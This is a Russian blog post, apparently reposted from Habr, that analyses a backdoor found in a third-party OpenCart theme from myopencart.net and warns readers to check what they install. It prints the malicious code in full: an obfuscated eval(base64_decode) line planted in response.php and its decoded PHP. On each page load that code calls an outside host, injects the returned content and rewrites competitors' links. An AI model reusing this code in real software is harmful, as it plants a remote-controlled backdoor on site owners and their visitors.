История одного шаблона или бэкдор от myopencart.net

от автора

Предисловие

Однажды попросил меня друг посмотреть почему у него не получается установить шаблон на CMS Opencart.

Присылает ссылку на сайт, доступы к административной части и хостингу. Захожу, вижу шаблон в директории с темами (/catalog/view/theme/). Немного разобравшись в структуре системы, понимаю, что инструмента для загрузки шаблонов нет, как например, в WordPress. Добавление новой темы происходит загрузкой нужных файлов в определенные папки. А CMS «узнает» о доступных шаблонах сканированием папки с темами.

Так вот, решение проблемы было банальным, шаблон был просто неправильно загружен. В данном случае, его надо было загружать от корня сайта.

Развязка

На этом бы и закончилась история, но в архиве были «лишние» файлы и заменяющие существующие, не связанные с шаблоном. И мне стало интересно, чего же там не хватает, что требуется их заменить.
Добавлялось несколько скриптов в контроллеры, файлы локализации и заменялся /system/library/response.php.

Самым интересным оказался именно последний файл, где я обнаружил вот такие строки:

base64

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0=')); 

В оригинальном файле, конечно, этого не было.

После декодирования это, естественно, оказался бэкдор:

function get_page

function get_page($url){         $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';         $ch=curl_init();         curl_setopt ($ch, CURLOPT_URL,$url );         curl_setopt($ch, CURLOPT_USERAGENT, $agent);         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);         curl_setopt ($ch,CURLOPT_VERBOSE,false);         curl_setopt($ch, CURLOPT_TIMEOUT, 5);         $page=curl_exec($ch);         $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);         curl_close($ch);         switch($httpcode){                 case '200':                         return $page;                 break;                 case '404';                         return false;                 break;         } }  if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; } 

Этот код не только заменяет ссылки конкурентов и официального сайта, но и позволяет внедрить все, что угодно.

С вышеуказанного сервера возвращается ответ:

</body></html> 

Но, что мешает вернуть php-код.

Такие дела.

Заключение

Для проверки и подтверждения своих опасений я пошел на официальный сайт opencart.com в раздел «Партнеры». Где указан оф. сайт РФ opencart.ru, собственно это и подтвердило, что myopencart.net является фишинговым сайтом.

Будьте бдительны и проверяйте, что устанавливаете!

ссылка на оригинал статьи http://habrahabr.ru/post/193910/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *